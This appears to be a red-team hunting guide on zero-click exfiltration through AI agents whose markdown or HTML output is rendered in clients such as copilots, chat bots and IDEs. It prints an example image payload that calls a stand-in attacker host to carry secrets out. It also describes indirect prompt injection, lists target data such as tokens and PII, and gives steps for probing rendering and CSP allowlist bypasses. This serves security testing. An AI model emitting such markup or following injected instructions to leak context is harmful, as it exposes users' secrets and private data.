Hunt Agent Output Exfiltration

When an agent's output is rendered as markdown or HTML in a client (web copilot, Slack/Teams bot, email, IDE panel, dashboard), the output itself becomes an exfiltration channel: markup the model emits causes the victim's client to make an outbound request carrying data from the victim's context. This is the dominant real-world agent data-theft path, and it's usually the sink that hunt-agent-prompt-injection delivers to — the injection makes the model output ![](https://attacker/?d=<secret>), the browser fetches it, the secret leaves. Zero-click: no user interaction beyond viewing the response.

Where This Lives / Attack Surface Signals

• Model output rendered as markdown (images/links auto-render) or HTML in the client.
• Chat copilots (web/Slack/Teams), email-drafting agents, IDE assistants, analytics/dashboards that display model output as rich text.
• The model has sensitive context to leak: chat history, user PII, session tokens/API keys in context, retrieved RAG documents, tool results.
• Combine with an untrusted-content ingress (indirect injection) → zero-click end-to-end.

Crown Jewel Targets

Exfiltration, from the victim's authenticated session, of: prior chat history, customer PII the copilot can see, secrets/tokens in context, and retrieved internal documents — all without the victim clicking anything. The classic production bug class (ChatGPT/Copilot/assistant markdown-image exfil).

Characterize First

1. Rendering — is output markdown or HTML? Send a benign image ![t](https://<oob>/probe.png) and a link; does the client auto-load the image (zero-click) or require a click? Does raw HTML pass (<img>, <script>)?
2. CSP / allowlist — does the client set Content-Security-Policy? What img-src/connect-src hosts are allowed? (bypass via allowed domains — see T4).
3. Sensitive context — what can the model see to place in the payload (history, PII, tokens, retrieved docs)?
4. Delivery — can you inject directly, or must it be indirect (planted doc/email/RAG) so the victim triggers it? (→ hunt-agent-prompt-injection).
5. Client egress — the request comes from the victim's browser/client, so egress is the victim's network (usually open) — but the CSP is the real gate.